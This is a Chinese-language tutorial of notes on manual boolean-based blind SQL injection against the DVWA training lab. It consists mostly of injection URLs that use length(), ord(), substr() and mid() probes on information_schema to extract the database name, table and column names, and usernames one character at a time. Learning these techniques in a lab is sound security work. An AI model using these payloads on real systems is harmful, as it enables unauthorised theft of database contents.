sql盲注手注笔记
基于布尔的盲注
此文所使用工具及环境:
浏览器 hackbar插件 DVWA漏洞靶场环境 sqlmap常见注入函数:
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
ord() 类似于ascii码
mid() 和substr用法相同
以下操作请使用二分法
报数据库名
http://url/?id=1'and (length(database()))>10--%20 测试数据库名的长度
http://url/?id=1%27 and ord(substr(database(),1,1))=118--%20 爆出数据库名的第一位
http://url/?id=1%27 and ord(substr(database(),2,1))=118--%20 爆出数据库名的第二位
后面依次类推...猜解指定数据库下的表名长度
?id=1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>5--%20 猜解当前数据库中第一张表名的长度
?id=1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5-- 猜解当前数据库中第二张表名的长度爆表名
?id=1' and ord(mid((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103-- 猜解dvwa数据库下第一张表的第一个字符的ascii码
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103-- 同上
?id=1' and ord(mid((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),2,1))=103-- 猜解dvwa数据库下第一张表的第二个字符的ascii码
接下来依次类推....爆字段长度
/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>7-- 猜解指定数据库中的指定表中的第一个字段名长度
/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))>7-- 猜解指定数据库中的指定表中的第二个字段名长度爆字段
接下来自由发挥吧....
猜解字段内容长度
/?id=1' and length((select username from security.users limit 0,1))>3
/?id=1' and length((select username from security.users limit 0,1))>4
上述语句为猜解指定数据库与表名中的第一条字段名的长度爆字段内容
开动你的大脑自行发挥.....视频教程:暂不添加。
有需要的可以加群哦,群号码894343165